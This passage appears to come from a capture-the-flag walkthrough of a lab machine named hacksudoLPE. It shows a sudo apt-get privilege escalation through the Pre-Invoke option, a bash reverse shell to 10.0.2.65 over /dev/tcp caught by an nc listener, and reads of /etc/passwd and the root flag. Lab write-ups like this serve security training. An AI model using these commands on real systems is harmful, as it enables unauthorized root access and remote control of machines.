



(c) When the shell exits the update command is actually executed.

```
hacksudoLPE login: user1
Password:
Last login: Sun May 16 04:16:42 EDT 2021 from 192.168.1.4 on pts/3
Linux hacksudoLPE 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
userl@hacksudoLPE:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

userl@hacksudoLPE:~\$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
bash -c 'bash -i >& /dev/tcp/10.0.2.65/1234 0>&1'

```
) nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.71] 47776
root@hacksudoLPE:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hacksudoLPE:/tmp#
root@hacksudoLPE:/tmp# whoami
whoami
root
root@hacksudoLPE:/tmp# whoami
whoami
root

root@hacksudoLPE:/tmp# whoami
whoami
root

root@hacksudoLPE:/tmp# whoami
whoami
root

root@hacksudoLPE:/tmp# whoami
whoami
root
root@hacksudoLPE:~# cat ro
cat root.txt
viluhacker
```